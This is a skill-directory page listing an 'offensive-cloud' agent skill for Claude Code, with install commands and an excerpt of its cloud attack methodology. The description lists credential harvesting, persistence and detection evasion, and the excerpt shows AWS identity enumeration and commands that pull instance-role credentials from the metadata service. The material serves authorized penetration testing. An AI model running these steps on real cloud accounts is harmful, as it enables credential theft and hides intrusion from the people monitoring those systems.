Skills for Real Engineers. Straight from my .agents directory.
39 skills
offensive-cloud
Agent skill from
Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL exfil), cloud-native lateral movement (cross-account assume, Azure AD multi-tenant, GCP project hierarchy), serverless attacks (Lambda env vars, layer hijack, Step Functions), Kubernetes-on-cloud (EKS/AKS/GKE-specific paths to node and AWS metadata), and CSPM evasion (CloudTrail blind spots, GuardDuty mute, Sentinel rule shaping). Use when the engagement scope is cloud accounts, when you've stolen c
How to install offensive-cloud
install offensive-cloud
# install the Claude-Red pack with the skills CLI
npx skills add SnailSploit/Claude-Red# or add only this skill to Claude Code: copy the folder
Skills/cloud/offensive-cloud/
# into
~/.claude/skills/offensive-cloud/ (all projects)
.claude/skills/offensive-cloud/ (one project)
1# Cloud (AWS / Azure / GCP) — Offensive Testing Methodology23## Quick Workflow451. Identify the cloud and the identity context you have (user, role, service account, instance role)62. Enumerate without writes — `aws sts get-caller-identity`, `az account show`, `gcloud auth list`73. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)84. Find the data and the persistence anchors before alarms fire95. Document the kill chain with timestamps, identities, and resources for the report1011---1213## AWS1415### Identity Discovery1617```bash18aws sts get-caller-identity19aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')20aws iam list-attached-role-policies --role-name <role>21aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \22 --action-names "*"23```2425### IMDS Credential Theft2627```bash28# IMDSv1 (legacy)29curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>3031# IMDSv2 (modern, requires token)32TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \33 -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")34curl -H "X-aws-ec2-metadata-token: $TOKEN" \35 http://169.254.169.254/latest/meta-data/iam/security-credentials/36```37…
Excerpt shown under the repository's MIT license.
More skills in Claude-Red
Keep exploring
Similar skill repositories
An agentic skills framework & software development methodology that works.
15 skills
Public repository for Agent Skills
20 skills
Makes your AI agent think like the laziest senior dev in the room. The best code is the code you never wrote.
CCCU6 skills
Persistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More
CCCXGHGM+135 skills
Production-grade engineering skills for AI coding agents.
CCCXCU25 skills